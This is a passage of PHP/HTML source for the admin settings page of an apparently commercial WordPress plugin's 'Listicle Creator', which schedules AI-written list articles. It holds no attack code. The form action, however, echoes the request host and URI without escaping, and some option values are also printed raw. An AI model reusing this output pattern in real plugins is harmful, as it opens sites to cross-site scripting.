'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $all_rules = get_option('aiomatic_listicle_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap"> <h1><?php echo esc_html__("Listicle Creator", 'aiomatic-automatic-ai-content-writer');?></h1> </div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_title"><?php echo esc_html__("Post Title List / TXT File URL / RSS Feed URL", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input your desired post titles (one per line), a TXT file with titles (one per line) or a RSS feed URL. The plugin will select a random post title at each run. Nested spintax supported. You can also enter RSS feed URLs, from where the plugin will extract a random post title, each time it runs. If you set a RSS feed URL, an item will be randomly selected from the title/description/content of the RSS feed contents - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Of Posts", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of posts that this rule can create at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_listicle(); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_listicle_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_listicle_list[post_title][]" placeholder="Please insert your post titles/TXT file URL/RSS feed URLs/%%ai_generated_title%% shortcode" class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_listicle_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_listicle_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id" name="aiomatic_listicle_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected('');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h3><?php echo esc_html__("Listicle Article Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you set a post topic here, the titles you entered in the 'Post Title List' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the 'Title Prompt' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Generate Post Title Based On Topics (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_topic_list][]" placeholder="Example: 'funny dog facts', 'best houseplants', 'proven ways to save money'" class="cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the method to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Generator Method:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="title_generator_method" name="aiomatic_listicle_list[title_generator_method][]"> <option value="ai" selected><?php echo esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer');?></option> <option value="serp"><?php echo esc_html__("Related SERP Searches", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of listicle entries to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Listicle Entries To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count" name="aiomatic_listicle_list[section_count][]" placeholder="3-4" class="cr_width_full" value="3-4"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with listicle entries in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Listicle Entries To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_listicle_list[sections_role][]"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each Listicle Entry. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Listicle Entry:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count" name="aiomatic_listicle_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="2"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of Images To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_listicle_list[topic_images][]" value="" placeholder="Number of images" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add An Image To Each Heading Of The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="img_all_headings" name="aiomatic_listicle_list[img_all_headings][]" checked> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the heading images/videos.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Heading Image/Video Location:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location" name="aiomatic_listicle_list[heading_img_location][]" class="cr_width_full"> <option value="top" selected><?php echo esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading"><?php echo esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bottom"><?php echo esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="random"><?php echo esc_html__("Random", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related YouTube videos to add to the created post content. The maximum number of videos you can add to each article: number of sections", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of YouTube Videos To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_listicle_list[topic_videos][]" value="" placeholder="Number of videos" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_listicle_list[title_outro][]" value="{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}" placeholder="Optional" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc" name="aiomatic_listicle_list[enable_toc][]"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Table Of Contents Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="aiomatic_listicle_list[title_toc][]" value="Table of Contents" placeholder="Table of Contents" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Q&A Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa" name="aiomatic_listicle_list[enable_qa][]"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_listicle_list[title_qa][]" value="Q&A" placeholder="Q&A" class="cr_width_full"> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language" name="aiomatic_listicle_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="English"/> <datalist id="languages"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style" name="aiomatic_listicle_list[writing_style][]" type="text" placeholder="Created content writing style" list="writing_styles" class="coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone" name="aiomatic_listicle_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">Write a title for a listicle about "%%topic%%" in %%language%%. The listicle will include %%sections_count%% items. Style: %%writing_style%%. Tone: %%writing_tone%%. Include a specific number in the title to indicate a list. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 